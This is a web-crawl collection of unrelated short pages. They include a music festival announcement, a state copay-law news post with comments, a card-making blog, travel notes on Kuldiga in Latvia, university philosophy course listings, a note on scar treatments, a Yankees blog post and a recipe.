text:
What is the conjunction between mathematic and artistic intuition, between logic and imagination, vision and exactitude? This question, found throughout the history of thought and creativity, fuels the Agora Festival 2011. The "unreasonable efficiency" of mathematics (Eugène Wigner) in the arts seems to mirror the aesthetic illumination of mathematical discovery. Modern creation has often crossed the mathematical tools of its time (e.g. theory of groups, formal and random music, influence of Poincaré on the cubist movement, etc.) and art has been equally inspired by mathematics.
The dialogue at the heart of Agora brings together exceptional artists (such as Pierre Boulez, Emmanuel Nunes whose 70th year will be celebrated by IRCAM, the figure of Karlheinz Stockhausen, and emerging artists) and renowned researchers such as Alain Connes and Alain Badiou. In this shared and lucid multiplicity, Stockhausen is a vital master of computational frenzy and visionary intuition. The man who forged and traveled each path until exhaustion—electronic music in space or in opera, writing the absolute order or the freedom of intuitive music—conceived his oeuvre as prospective and archetypical. A substantial journey that bends from the original to the "primeval", from the force of youthful beginnings toward the praising of origins in later works. Crossing through Agora and several Parisian locations, the instants of Klang, the ultimate unfinished cycle by Stockhausen, calls for a final time the unity of the totality shared on the world stage. >>
France Musique will be broadcasting from IRCAM, Wednesday, June 8. Starting at 8pm, a live broadcast of Luna Park by Georges Aperghis will followed by a live radio show with artists from the Agora festival, led by Arnaud Merlin.
Free entry, limited seating available.


text: Tuesday, February 28, 2012 South Dakota Law Protects Patients From Excessively High Copays Last week, South Dakota became the latest state to improve consumer protections from excessively high physical therapy copays when Gov Dennis Daugaard signed House Bill 1183, legislation promoted by the South Dakota Chapter. HB 1183 limits the amount a health insurer may charge a patient for an out-of-pocket copayment or coinsurance amount when he or she visits a physical therapist or occupational therapist. After the bill takes effect July 1, those copayment and coinsurance amounts cannot be higher than those charged when a patient visits a primary care physician or practitioner. Health insurers often categorize physical therapy as a "specialty" service, and typically require higher copays than primary care services—sometimes as high as $60 or more for a single visit. "Legislators saw that this bill was all about patient access and affordability," said Ronald Van Dyke, PT, OCS, president of the South Dakota Chapter. "They wanted to make sure the people of South Dakota could access the physical therapy and occupational therapy care they need at a fair cost." Read more about House Bill 1183 in this APTA press release. Last year, Kentucky enacted a similar copay protection law. Comments Legislation restricting copays was much overdue. With the frequency patients attend our service, its not financially feasible for the majority of individuals to pay these rates. PT should NOT be viewed as a specialty by insurers, and copays should not exceed $20-25 per visit. Posted by Dave Ravnikar, PT, DPT, CSCS on 3/3/2012 9:55 AM Hopefully more states can get similar legislation passed. Posted by Paul Weiss on 3/3/2012 3:08 PM I love this!! Who's next?? Come on, New York!! Posted by Elizabeth Perlstein on 3/4/2012 11:46 AM This needs to be adopted by all states. I hate to see a patient with a $60-70 copay where the adjusted amount of my treatment means the insurance company does not even pay a dime. The patient has to pay their premiums and copay for service and the insurance company paid nothing out. Posted by I. JOhn Orta, PT on 3/5/2012 9:57 AM Pennsylvania has just launched a similar initiative. Would love to see this be a groundswell throughout the nation. Also curious as to how the insurance companies will strategize around this. Posted by Tom McNamee, PT on 4/3/2012 3:45 PM Missouri currently has a "Fair Copay" Bill being considered among legislators. It's nice to see that precedents are being set for these laws in other states. Posted by Tony Friedrichs, DPT on 4/4/2012 11:17 AM how bout the federal level? Posted by allison DPT on 4/5/2012 4:50 PM We need to get this done in WA state. This is happening to our cardiac and pulmonary rehab referrals, too. Any PTs or OTs in WA who want to help me contact our legislature, please let me know. 425-261-3791, firstname.lastname@example.com Posted by Greg Lawson on 1/16/2013 11:29 PM

subset: commoncrawl


text:
Friday, November 13, 2009
Granny Birthday card
Today we are also celebrating the birthday of someone here at work, so I made her this lovely Granny card. This card was made using the set Granny's Secrets, one of the 5 different Granny sets currently available from Our Craft Lounge.
Pre-Soaking with Colorless Blender
One technique I used on this card that you may not be aware of is the gray area under Granny's chair. I didn't have a light enough shade of gray within easy reach so I used my colorless blender and pre-soaked the area in which I wanted a shadow. Then I added my C3 and it was much lighter because the paper was already wet. It was also much easier to fade out the edges with the blender because the paper was pre-soaked.
Another thing you can't tell is that because Granny's dress has such a tiny pattern I colored it with the fine end of my Copic Original markers. The middle of each flower was colored with my R35 then I lightly touched it with blender to get it to wash out. One layer of the white silk flower I touched up with a yellow marker to accent the rich yellow center.
Markers:YR04, Y15, Y11, E33, E37, R35, C3, 0, E00, E11, assorted Spica pens, Paper: Neenah Classic Crest Solar White, Prism Papers, Other: Prima Say it with Crystals and leaves for the photo.
I hope each of you has a chance to head over to the forums at Our Craft Lounge or their blog to check out their scavenger hunt and get a chance to win some fabulous prizes. You still have one more day to leave your entry on my last post to win a special Copic prize as well. Good Luck!
16 comments:
- Pam said...
{GLG! What did I just do?! LOL!}
LOVE Granny, she never looked better!! Ü
- November 13, 2009 at 8:27 AM
- Memories of Time said...
You are SOOOO a stamper now babe! LOVE your card! :)
- November 13, 2009 at 8:37 AM
- marianne walker said...
who taught me to be a stamper babe? The whole team wished you hugs when we had our training Cami, luv ya!
- November 13, 2009 at 8:40 AM
- Heather McNally and Melissa MacDonald said...
Marianne - FANTASTIC card! OH yeah -you are definitely a stamper and card maker now! Thanks for playing along!!! :)
- November 13, 2009 at 9:15 AM
- Take care and STAY POSITIVE! Trena said...
Marianne, That is a great technique! Cute card! I go back over all my notes from your class before I do a Copic demo / presentation. One technique I have not tried yet, and would like to see an example of, is the one where you fill the water brush with blender solution and pick up the marker off of a palette. Will you please put that on your list to show? THANKS!!
Take care and STAY POSITIVE!
- November 13, 2009 at 9:20 AM
- Vicki G said...
Happy Anniversaries Marianne! Your card is fantabulous!!!!!
- November 13, 2009 at 10:09 AM
- gobeagirl said...
Hi Marianne, I love your card. She is such a spunky granny..lol..I am so going to try the soaking before using my grays. Sounds like fun, and I can not wait to see the results. I really love all of your tips and info. I have a 3 ring binder that I keep them in for quick reference..Thanks for sharing your talent. Lisa G
- November 13, 2009 at 10:54 AM
- Joy said...
Happy anniversaries. Great card! :)
- November 13, 2009 at 11:40 AM
- Gerrie Johnnic said...
I'm a newbie here and am just droolin' over Grandma. The colors and tech's you used to draw me into the card are just beautiful. I don't own any Copic's unfortunately, but sure would like an opportunity to win some. You betcha' I'll be back from now on. thanks so much
- November 13, 2009 at 3:47 PM
- Unknown said...
this is a wonderful card, and now that i am tipping the scales towards the "granny" generation, i love it even more! keep 'em coming! xo...sherry
- November 14, 2009 at 5:46 AM
- Sandy Knecht said...
Cute granny card. Happy Birthday!
- November 14, 2009 at 7:01 AM
- Catrick said...
Happy "3-way" anniversary! Love the granny...and, as I just became one, this is adorable.
Cathy Hughes
- November 14, 2009 at 9:58 AM
- Candy said...
Love your Granny Card!! So cute. Great colours used.
Thanks for the new tips too!
I would like to congratulate you on all 3 of you Anniversaries this month!! So exciting all at the same time.
Hugs, Candy
- November 14, 2009 at 2:10 PM
- Carla Murphy said...
Fantastic card Marianne!
- November 14, 2009 at 3:36 PM
- Susan said...
Love it! Happy anniversaries :)
- November 17, 2009 at 4:17 PM
- Unknown said...
World's Most Popular Cars, Hot Speed Cars, Hot Cars with Hot Girls, Cars Latest Pictures with all info, Latest updates Cars Models and Company Cars, Strange Vehicles, Concept Cars, Top 10 Expensive Cars in the World.
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- June 18, 2013 at 8:30 AM


text:
New Mexico lawmakers are turning their attention to a proposal that will require criminal background checks of people buying firearms from private sellers, including at gun shows.
The House Judiciary Committee is scheduled Monday to consider the legislation by Democratic Rep. Miguel Garcia of Albuquerque.
Federal law requires background checks for sales by licensed dealers in stores or at gun shows. However, the law doesn't cover firearm sales between private individuals, whether at a gun show or someone's home.
Garcia contends that more background checks will prevent sales of guns to people prohibited from buying firearms, including individuals with a history of mental ill or those convicted of crimes.
The debate over the gun legislation comes a month after a Connecticut school shooting that claimed 26 lives.


text:
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text:
Ryan Gledhill necesitaba un nuevo diseño de fondo de Twitter y lanzó un concurso de diseño en 99designs.
Un ganador ha sido elegido entre 30 diseños de 7 diseñadores freelance.
Ryan Gledhill
I am an online marketer, SEO/SEM coach and enthusiast. Love extreme sports, mountain climbing, biking. I have been an entrepreneur all my life and will for the rest of my life. Have a beautiful wife and two very energetic sons. I would like a twitter background that has a feel for the those types of things, but not too busy. I would rather pick one theme if it looks good and stay with it than trying to cram it all in.
I would like to bring in all types of people to my twitter account but mainly other entrepreneurs and business owners searching for online marketing help
I would like it to look professional, but a the same time with a little bit of edge in it, because that's me. As far as the design I am wide open. My two favorite colors are blue and green, but would not limit myself to only considering those themes. I need the following information on the left hand side so that people can contact me and visit some of my sites.
--Other websites--


text:
Kuldīga is a town in Latvia, it was a capital of Duchy of Courland and Semigallia in 1561-1795.
Kuldiga Tourism Information Centre (Kuldīgas tūrisma attīstības centrs) located in the central square of town, address Baznīcas St 5, ☎ +371 633 22259 ([email protected], fax: +371 293 34403).
Both downloadable and interactive Kuldiga maps can be found on Kuldīgas karte page of the TIC website.
Kuldiga town in the Kurzeme region (formerly Courland) with its historical part and Valley of the River Venta is known as "The Latvian Venice". Indeed the river flows along the walls of many of the town's houses.
The vision of the local authorities is to make the old town of Kuldiga an important international tourism destination, with the potential to attract domestic and foreign tourists and contribute to the sustainable development of the town.
The tourism recourses of Kuldiga town are based on its historical and cultural heritage and the Venta River which is one of the largest and most picturesque rivers of Latvia.
The historic and architectural heritage of Kuldiga is well preserved. In the park near the Kuldiga district museum fragments of the stone wall and the cellar of the first Kuldiga castle, built in 1242 by German knights, have been preserved to this day. Later Duke Jacob's castle (ruined in 1701) was situated there as well. Today it is a sculpture park. The old brick bridge across the Venta, built in 1874, is one of the longest of such type of bridges in Europe. The bridge was built according to the road standards of the 19th century (500 feet long and 26 feet wide), so that two carriages could pass next to each other on it.
The Old Town Hall was built in the 17th century. The cellar of the building was the first prison in Kuldiga. The oldest wooden building in Courland was built in 1670 near the Town square on the banks of the River Alekšupīte.
The town square was an old assembly place for people. Traditional cultural heritage is part of everyday life in Kuldiga with textile workshops, celebrations of national festivals and also with more contemporary events such as the annual running competition on the Alekšupīte (River of Aleksis) and the 'naked people run' over the historical bridge on the Venta River at Midsummer night.
Get in[edit]
Kuldiga is in the middle of the road P108 between Ventspils (a sea port in the W of the country) and Saldus, which is 50 km SE from Kuldiga in the middle of the road A9 between Riga (capital) and Liepaja (another sea port).
The railway passes through Saldus connecting it with Liepaja and Jelgava, however the passenger trains are canceled on this line.
If going from Liepaja use a shortcut via Aizpute town, the road P112 will take you directly to Kuldiga.
Depending on where from you are going to start, choose the appropriate direction and mode of transport.
Get around[edit]
Town itself is small enough, can be easily explored on foot.
See[edit][add listing]
The Historical Centre of Kuldīga Kuldīga is a small and attractive town in Kurzeme which has always been admired and praised by poets and painters. The city centre, which developed in the 17th –18th centuries, has still preserved the old wooden buildings which form small and narrow streets.
The old brick bridge across the Venta was built in 1874 and is the longest bridge of this kind of road bridge in Europe – 14 m. It was built according to 19th century standards – 500 feet long and 26 feet wide, allowing two carriages to pass. It consisted of seven spans of brick vaults. During World War I two of the spans were blown up.
Alekšupīte Waterfall - it was fixed and built up in the 17th century to use the stream to operate the first paper-mill in Kurzeme. As the waterfall is created artificially and is located next to the unattended mill building.
The Alekšupīte The Alekšupīte River flows directly along the walls of many buildings which is why Kuldīga has been called the Venice of Latvia. Initially the buildings of the town centre were constructed as the suburb of Kuldīga. In 1701, during the Great Northern War, the Swedish army invaded Kuldīga Castle and in 1709 it became uninhabitable, but in the 19th century the castle ruins were relocated.
St Catherine's Church, was originally built in 1252. However, it was built anew with baroque style wood carvings on the altar. In this church Duke Jacob was baptized and later married to Princess Louisa Charlotte from Brandenburg. The church was given the name of St Catherine, the patroness of the town.
Liepājas street An pedestrian street with several 17th-20th buildings, interesting doors and special windows.
Sculptress Livija Rezevska's sculpture museum Founded in 2003. The visitors may see more than 15 sculptures charactrizing Latvian nation, its strenght unity and love.
The Riežupe Sand Caves The Riežupe Sand Caves make up the longest underground cave labyrinth in Latvia (about 2 km, 460 m can be toured). During Duke Jacob's reign the sand from Riežupe sand caves was taken by ships abroad for glass production.
Do[edit][add listing]
Buy[edit][add listing]
Two supermarkets next to the bus station:
Eat[edit][add listing]
Drink[edit][add listing]
Sleep[edit][add listing]
Dormitories and camp sites[edit]
There are no camp sites within town limits, however there are several ones in recreation areas by the lakes in the countryside of Kuldiga Municipality or just immediately outside its bounds:
North East by Usma Lake
North West - by Liela Naba lake:
West - by Zvirgzdu Lake
Land line phone[edit]
Kuldīga (both town and the municipality) phone code is 633 and the five digit local subscriber number.
Postal service[edit]
Kuldīga Post Office-1 (Kuldīgas 1. pasta nodaļa), Liepājas St 34, (Centre), ☎ +371 633 50445. M-F 08:00-18:00, Sa 09:00-13:00. Post office is at the 1st floor of the 2 storey red brick building on the corner.
Get out[edit]


text:
Vermont Geriatrics Expert Witnesses
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You may limit your search for Geriatrics expert witnesses to a specific area by selecting a state from the drop down box.
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Summary: -Doctor of Physical Therapy (DPT) -Board-Certified in Geriatrics -Certified Orthopedic Manual Therapist -PhD in Physical Therapy -Assistant Professor -National/International presenter -Published scientific journal manuscripts -Can perform... Learn More ›
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text:
and 1 contributors
POE::Component::Server::Bayeux::Message::Service - handles /service/ channels
Subclasses POE::Component::Server::Bayeux::Message to implement the /service/* channels. Does nothing by itself, as the Bayeux protocol doesn't define any specific services. Implements named services from the server config 'Services' - see the docs there.
Copyright (c) 2008 Eric Waters and XMission LLC (http://www.xmission.com/). All rights reserved. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself.
The full text of the license can be found in the LICENSE file included with this module.
Eric Waters <firstname.lastname@example.com>


text:
Sarah's Garden
Kelly Long
Publisher: Thomas Nelson
Quite by accident, Sarah King has fallen in love. But this love is forbidden, and could cost her everything she holds dear. Tucked into the majesty of Pennsylvania's Allegheny Mountains is a garden Sarah King has been nurturing for years. She never feels more alive than when she is alone with her thoughts and her Creator among the delicate rows of plants. But then duty calls her away from her beloved garden and into a world she knows little about. Grant Williams, a handsome young veterinarian, has left the city to open a rural practice among the Amish. Within minutes of meeting shy but feisty Sarah King, he is captivated by her. As their feelings grow for one another, Sarah insists they can never be together. Marrying Grant would mean being uprooted from her home, her family, and her community. Throughout the cold Pennsylvania winter, with her garden tucked away until spring, Sarah begins crafting a quilt that illustrates her pain. Can anything lasting blossom from a love that's forbidden?


text:
PHIL 7Q: What is Truth
This question can be answered precisely in some important cases. We begin with the language of propositional logic where truth is defined by simple tables. This is already sufficient for description of many important problems and leads to a famous ($1 000 000) problem P=NP. We use Sudoku puzzles for illustration. Close connection between propositional truth and proof is established by the resolution method forming a basis of most automated theorem provers. The language of predicate logic covers much more and illustrates the notion of completeness. Register machines provide connection with computations and lead to a fundamental classification of problems of truth with respect to decidability. The language of arithmetic exhibits a new phenomenon of incompleteness that changed significant part of philosophy in 20-th century.
Last offered: Autumn 2013 | UG Reqs: GER:DB-Hum
PHIL 8N: Free Will and Responsibility
In what sense are we, or might we be free agents? Is our freedom compatible with our being fully a part of the same natural, causal order that includes other physical and biological systems? What assumptions about freedom do we make when we hold people accountable morally and/or legally? When we hold people accountable, and so responsible, can we also see them as part of the natural, causal order? Or is there a deep incompatibility between these two ways of understanding ourselves? What assumptions about our freedom do we make when we deliberate about what to do? Are these assumptions in conflict with seeing ourselves as part of the natural, causal order?nWe will explore these and related questions primarily by way of careful study of recent and contemporary philosophical research on these matters.
Terms: Spr | Units: 4 | UG Reqs: GER:DB-Hum, WAY-A-II, WAY-ER
Instructors: Bratman, M. (PI)
2015-2016 Spring
4 units |
UG Reqs: GER:DB-Hum, WAY-A-II, WAY-ER |
Class #
Section 01 |
Grading: Letter (ABCD/NP) |
| Students enrolled: 12 / 16
03/28/2016 - 06/01/2016 Tue, Thu 3:00 PM - 4:20 PM at 420-286 with Bratman, M. (PI)
Instructors: Bratman, M. (PI)
PHIL 9N: Philosophical Classics of the 20th Century
Last century's best and most influential philosophical writings. Topics include ethics (what is the nature of right and wrong?), language (how do meaning, reference, and truth arise in the natural world?), science (can science claim objectively accurate descriptions of reality?), existence (are there things that don't exist?), and the mind (could robots ever be conscious?). Authors include Bertrand Russell, Ludwig Wittgenstein, Rudolf Carnap, Willard Quine, Thomas Kuhn, John Rawls, and Saul Kripke. The lay of the land in contemporary philosophy.
Last offered: Spring 2010 | UG Reqs: GER:DB-Hum
PHIL 11N: Skepticism
Preference to freshmen. Historical and contemporary philosophical perspectives on the limits of human knowledge of a mind-independent world and causal laws of nature. The nature and possibility of a priori knowledge. Skepticism regarding religious beliefs..
Terms: Win | Units: 3 | UG Reqs: GER:DB-Hum
Instructors: De Pierris, G. (PI)
2015-2016 Winter
3 units |
UG Reqs: GER:DB-Hum |
Class #
Section 01 |
Grading: Letter (ABCD/NP) |
| Students enrolled: 6
01/04/2016 - 03/11/2016 Tue, Thu 3:00 PM - 4:20 PM at 70-72A1 with De Pierris, G. (PI)
Instructors: De Pierris, G. (PI)
PHIL 14N: Belief and the Will
Preference to freshmen. Is there anything wrong with believing something without evidence? Is it possible? The nature and ethics of belief, and belief's relation to evidence and truth. How much control do believers have over their belief?
Last offered: Autumn 2014 | UG Reqs: GER:DB-Hum, WAY-ER
PHIL 15N: Freedom, Community, and Morality
Preference to freshmen. Does the freedom of the individual conflict with the demands of human community and morality? Or, as some philosophers have maintained, does the freedom of the individual find its highest expression in a moral community of other human beings? Readings include Camus, Mill, Rousseau, and Kant.
Last offered: Winter 2014 | UG Reqs: GER:DB-Hum, GER:EC-EthicReas, WAY-A-II, WAY-ER
PHIL 28: The Literature and Philosophy of Place (OSPSANTG 28)
Literature and philosophy, primarily, but not exclusively from Latin America, that raises questions about place and displacement through migration and exile, about how location shapes our understanding of ourselves and of our responsibilities to society and environment, about the multiple meanings of home. Among the questions we will consider are the difference between the experiences of people who are at "home" and those who are "away," how one person's claim on home can be another's experience of being invaded, the interdependence of self and place, the multiple meanings of "environment." Readings by Gabriela Mistral, Pablo Neruda, Carmen Lyra, Jorge Gracia, Otavio Paz, Maria Lugones, among others.
Terms: Aut | Units: 4 | UG Reqs: GER:DB-Hum, WAY-A-II, WAY-ED
Instructors: Longino, H. (PI) ; Miner, V. (PI)
2015-2016 Autumn
4 units |
UG Reqs: GER:DB-Hum, WAY-A-II, WAY-ED |
Class #
Section 01 |
Grading: Letter (ABCD/NP) |
09/21/2015 - 12/04/2015 - with Longino, H. (PI); Miner, V. (PI)
Instructors: Longino, H. (PI); Miner, V. (PI)
PHIL 41Q: Truth
Preference to sophomores. Central issues animating current work in the philosophy of truth. What is truth? What is it about a statement or judgment that makes it true rather than false? Are there any propositions that are neither true nor false? Could truth be relative to individuals or communities? Do people have different notions of truth for different enterprises such as mathematics and ethics? Might truth be a matter of degree? Sources include the instructor's book manuscript and other contemporary writers.
Last offered: Autumn 2008 | UG Reqs: GER:DB-Hum
PHIL 42: Philosophy through Theater: Choice and Chance
Dramatic literature as a window into philosophical work on freedom of the will and indeterminism. Students participate in the production of original one-act plays.
Last offered: Winter 2009 | UG Reqs: GER:DB-Hum
PHIL 60: Introduction to Philosophy of Science (HPS 60)
The nature of scientific knowledge: evidence and confirmation; scientific explanation; models and theories; objectivity; science, society, and values.
Terms: Aut, Win | Units: 5 | UG Reqs: GER:DB-Hum, WAY-A-II
Instructors: Longino, H. (PI) ; De Toffoli, S. (TA)
2015-2016 Autumn
5 units |
UG Reqs: GER:DB-Hum, WAY-A-II |
Class #
Section 01 |
Grading: Letter or Credit/No Credit |
- -
Notes: This class section has been cancelled!
2015-2016 Winter
5 units |
UG Reqs: GER:DB-Hum, WAY-A-II |
Class #
Section 01 |
Grading: Letter or Credit/No Credit |
| Students enrolled: 30
01/04/2016 - 03/11/2016 Tue, Thu 9:00 AM - 10:20 AM at Ceras 300 with Longino, H. (PI); De Toffoli, S. (TA)
Exam Date/Time: 2016-03-16 8:30am - 11:30am (Exam Schedule)
Instructors: Longino, H. (PI); De Toffoli, S. (TA)
UG Reqs: GER:DB-Hum, WAY-A-II |
Class #
Section 02 |
Grading: Letter or Credit/No Credit |
| Students enrolled: 7
01/04/2016 - 03/11/2016 Mon 12:30 PM - 1:20 PM at 380-381T with De Toffoli, S. (TA)
Instructors: De Toffoli, S. (TA)
UG Reqs: GER:DB-Hum, WAY-A-II |
Class #
Section 03 |
Grading: Letter or Credit/No Credit |
01/04/2016 - 03/11/2016 Mon 5:30 PM - 6:20 PM at 380-381U with De Toffoli, S. (TA)
Instructors: De Toffoli, S. (TA)
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Welcome to the new IMPACT online exhibition, a project exploring the internet as a venue for insightful photographic work. In an effort to remind viewers of the important role photographers play around the world, an array of imagemakers were invited to share galleries on their blogs (like this one) that comprise 12 images representing an experience when they had an impact on or were impacted. By clicking on the links below the IMPACT logo, you can move through the exhibition, viewing other galleries by different photographers. You can also click the IMPACT logo to be taken to a post on the liveBooks RESOLVE Blog where you can see an index of all participating photographers. We hope that by linking different photographic visions of our first topic, "Outside Looking In," we can provide a multifaceted view of the topic as well as the IMPACT individuals can have on the world around us.
Ian Shive Photography
Looking back on 2009, it is an obvious fact that my life was consumed with the release of my first book on the American National Parks. I introduced hundreds of new images of our parks through this book and I hoped for two things; that I wasn't laughed out of the book stores and if I made past that hurdle, that I would have an impact on the way American's perceive our wild lands. I didn't just focus on the expected locations such as Old Faithful or the Grand Canyon, but many of the often overlooked places and details that truly round out the exceptional beauty our parks have become. However I learned that hoping for an impact and actually experiencing one is something a young photographer could not anticipate. As the book reached shelves around the country, emails began to come in via my website. Strangers wrote to me, some were young students, others were avid park visitors, while others were random strangers who happened upon the volume while enjoying a coffee in a book store. Amazingly those people reached out to me sharing their own experiences and their thoughts of a renewed sense of inspiration and hope for the future of our beloved places. While those were undoubtedly a pleasant surprise, what I could never have anticipated was an invite to speak in Washington D.C. at the United States Capitol. On a rainy November night, I found myself before members of Congress and the Director of the National Parks as well as many other leaders, sharing my photos and hopefully, having an impact on their ideas of American wilderness. While this chapter is behind me, I've since continued my journey through our parks as well as discovering national parks in other countries who have followed our example. Below are a few images from the book and my continued journey.
Help make a difference for our parks, join the National Parks Conservation Association today and begin receiving National Parks magazine.


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Return to Index
Scar Tissue
Other Proposed Natural Treatments
- Acupuncture
- Allantoin
- Aloe Vera
- Coconut Oil
- Collagen
- Elastin
- Gotu Kola
- Jojoba Oil
- Lavender Oil
- Magnet Therapy
- Massage
- Selenium
- Snail Extract
- Tamanu Oil
- Vitamin A
- Vitamin C
- Vitamin E
- Zinc
When the body repairs a wound, it often does so by creating fibrous scar tissue. Internal scars that may develop following surgery can cause significant pain. Surface scars are generally painless, but they may be cosmetically unpleasant. In some cases, scars on the skin can develop into a special form of oversized scar called a keloid. Keloids are generally red or pink, and often form a ridge several millimeters above the skin. These scars occur when the body continues to fill the scar with collagen after it has healed. Darker-skinned people are more likely to develop keloids than those with lighter skin.
Conventional treatment of any type of scar is less than entirely satisfactory. Keloids and other scars on the skin may be reduced in size by freezing (cryotherapy), steroid injections, radiation therapy, or surgical removal. However, a new, even more visible scar may develop in the place of the one that was removed. Similarly, removal of painful internal scars may lead to the new formation of painful scar tissue.
Proposed Natural Treatments
The herb gotu kola is said to help remove keloid scars. 1,2 When used for this purpose, it is taken orally, applied to the skin, or injected into the scar. However, there is no reliable evidence that it is effective.
According to some schools of acupuncture , surface scars impede the flow of "energy," and thereby cause various illnesses. Acupuncture treatment of both surface and internal scars is said either to shrink them or, at least, to reduce their effects. However there is no meaningful scientific evidence to indicate that acupuncture offers any benefits for scars.
Other natural treatments proposed for scars, but again without reliable supporting evidence, include: Aloe vera , allantoin, coconut oil, collagen, elastin, jojoba oil, lavender oil , massage , magnet therapy , selenium , snail extract, tamanu oil, vitamin A , vitamin C , vitamin E , and zinc .
Kartnig T. Clinical applications of Centella asiatica (L.) . Herbs Spices Med Plants . 1988;3:146-173.
Kartnig T. Clinical applications of Centella asiatica (L.) . Herbs Spices Med Plants . 1988;3:146-173.
Bosse JP, Papillon J, Frenette G, et al. Clinical study of a new antikeloid agent. Ann Plast Surg . 1979;3:13-21.
Bosse JP, Papillon J, Frenette G, et al. Clinical study of a new antikeloid agent. Ann Plast Surg . 1979;3:13-21.
Revision Information
- Reviewer: EBSCO CAM Review Board
- Review Date: 12/2015
- Update Date: 12/15/2015


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Darjeeling also known as the Land of the thunderbolt, home of Mount Everest and the mighty Kanchenjunga, queen of hills and once the summer capital of the British India, has many history attached to it. But today, I am not writing to tell you the history of my town. There are … [Read more...]
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Tagged: Kaz Ishii
And the WINNER is…
For months, the talk centered on prized Japanese pitcher Mashiro Tanaka. He was highly touted as the most valuable free agent pitcher on the market. Of course, his free agency began slowly when there was doubt if his Japanese team would allow him to be posted, particularly after the posting fee was capped at $20 million. Nevertheless, Tanaka was subsequently posted, as we all know.
Almost immediately, the Yankees were regarded as the frontrunner. But given that any team to offer to pay the $20 million posting fee, it opened the field to any team that wanted to make a run at the latest Japanese import. Early on, there was talk that the Seattle Mariners would make a play for Tanaka. It was said that the Los Angeles Dodgers would not be outbid, and the Chicago Cubs were completely enamored with the idea of Tanaka headlining their rotation. The Los Angeles Angels and the Arizona Diamondbacks were other teams mentioned as strong possibilities.
I read that the Mariners were favorites because the team is predominantly owned by Nintendo and Los Angeles was cited because of its close proximity to Japan and its strong Asian community. There was talk that some team would make a surprise late bid, kind of like what the Angels when they signed Albert Pujols.
I never really expected the Dodgers to be "all-in". They had their own pending free agent to be in Clayton Kershaw and they couldn't make a ridiculously high bid without driving up their costs to retain Kershaw. They subsequently re-signed Kershaw to a $215 million deal, but I still didn't think they'd go hard after Tanaka. I did think the Chicago Cubs were a strong challenger for Tanaka despite prior rumors that he preferred a coastal destination. If I have learned anything with Major League Baseball, it's to never underestimate Theo Epstein.
But fortunately, when Tanaka finally made his decision, he was a Yankee. Almost instantly, the stories about his superior talent turned to questions about how he'll make the adjustment to life in America and how he is a #2 or #3 starter at best. Everyone is now quick to say that he does not have the talent of Yu Darvish, and I've seen the name "Kei Igawa" more than I'd care to in recent days. But still, this was a move that the Yankees HAD to make. With a weak farm system at the upper levels, they had no choice but to overpay for young pitching talent with solid upside. With the hype surrounding Tanaka (who went 24-0 in Japan last year), he also represents a gate attraction. With Tanaka in the fold, the Yankees become the second major league team to have two Japanese players in their starting pitching rotation (the first was the Dodgers with Hideo Nomo and Kaz Ishii). If the Japanese media made it a circus following Hideki Matsui, they'll have a field day following the trio of Tanaka, Hiroki Kuroda and Ichiro Suzuki.
The realist in me knows not to expect top of the rotation stuff from Tanaka. I know the Yankees want more, but I'd be very satisfied if he could give the Yankees what Kuroda has for the last two years. This is most likely Kuroda's last year, and it is good that Tanaka will have a year to spend under Hiroki's wing. I think that will greatly aid his transition to the United States and MLB.
I thought that it would take a contract of 7 years, $140 million to sign Tanaka. So, the Yankees did overbid in that regard. Today I saw an article that one GM speculated the next highest bid were the Cubs and D-Backs at $120 million. I really doubt the gap between the Yankees and the others was that great. The same source mentioned the Dodgers were at $119 million which doesn't make sense as everyone knew it would take $120 million plus to sign Tanaka. My guess is the Cubs and Dodgers were in the vicinity of $140 million plus. Not bad for a pitcher who has never thrown a major league pitch.
While I would still like to see an additional pitcher brought to camp, there is potential with a rotation that features CC Sabathia, Hiroki Kuroda, Masahiro Tanaka, Ivan Nova and Michael Pineda or David Phelps. If Pineda could possibly show the potential that caused the Yankees to trade for him (prior to the injuries), the rotation could be very strong. While I would not be opposed to seeing Bronson Arroyo or Ubaldo Jimenez signed, I think the Yankees need to focus on the infield. Yes, they've brought in San Diego's Dean Anna, signed Kelly Johnson, Brian Roberts and Scott Sizemore, and still have Eduardo Nunez but there are too many questions. What happens if Mark Teixeira struggles in his return, or Derek Jeter? Neither of those positions are air tight without getting into the holes at second and third. Jeter will be 40, and Teixeira is a notoriously slow starter. April could be a very challenging month.
My preference would be to find a decent third baseman so that Kelly Johnson could be the primary second baseman. But the team is probably enamored with the idea that Roberts is capable of rebounding from the injury filled years that have plagued him since 2009. Scott Sizemore is nothing more than camp fodder. One magazine I read said "But other than OK pop and a few walks, offers little even when healthy". Anna is nothing more than a potential reserve.
Catching and the outfield is set, but there is still work to be done in the infield and in the bullpen. I agree with the choice to anoint David Robertson as the closer, but there needs to be an insurance plan in place. Grant Balfour would have been a great option but he is now a Tampa Bay Ray once again. I don't want Fernando Rodney, but the Yankees need someone who is capable of closing games if Robertson is not up to the task. If Boston can find an elite closer as their fourth choice last year, there are potential arms that can be found. I really hated to see the departure of Boone Logan. Not much has been written about it, but I can only hope that Matt Thornton is a capable, albeit older, replacement. I know the team has long admired lefty Cesar Cabral so perhaps this is Cabral's year to take it to the next level. I'd also like to see Dellin Betances take advantage of his opportunity and become a force in the pen. I guess every team thinks they can follow the Tampa blueprint for bullpen success given how the Rays are always able to craft something out of nothing.
With pitchers and catchers reporting to training camp in a few weeks, I am sure that the transaction wires will be busy as teams, and most notably the Yankees, look to create playoff caliber rosters.
For the Yankees, while it will be great to see Brian McCann show up to become his orientation with the Yankee pitchers, the cameras and the reporters will be flocked around #19, Masahiro Tanaka, as he begins his pinstriped career. Time to build upon last year's 85 wins and return the Yankees to October baseball. With the commitment the Yankees have shown this off-season, it's clear their last move was not their "last" move.
Go Yankees!


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My husband calls this chicken 'panna cotta' by the way.
Chicken piccata happens to be a childhood favorite of mine; tender chicken simmered in white wine, lemons and capers. It requires little effort, and I usually have most of the ingredients on hand (i.e. the wine).
This dish is very adaptable too. I've made it several different ways, including a version with mushrooms and beef stock. I also use half the amount of butter found in traditional recipes giving it a light and fresh update.
And I serve it over this-
Couscous was my original go-to, but the combination of cracked wheat or bulgur and baby spinach is my new standby. To make it extra flavorful, I cook the grains in chicken stock. The residual heat wilts the greens making it the perfect bed for this juicy dish.
FYI- I've pretty much replaced couscous exclusively with this alternative grain. Although the texture is very similar, cracked wheat is packed with protein and fiber making it a healthier option.
I use an instant kind which is conveniently ready 10 minutes.
If your ingredients are well organized, this meal will only take about 30 minutes to get on the table.
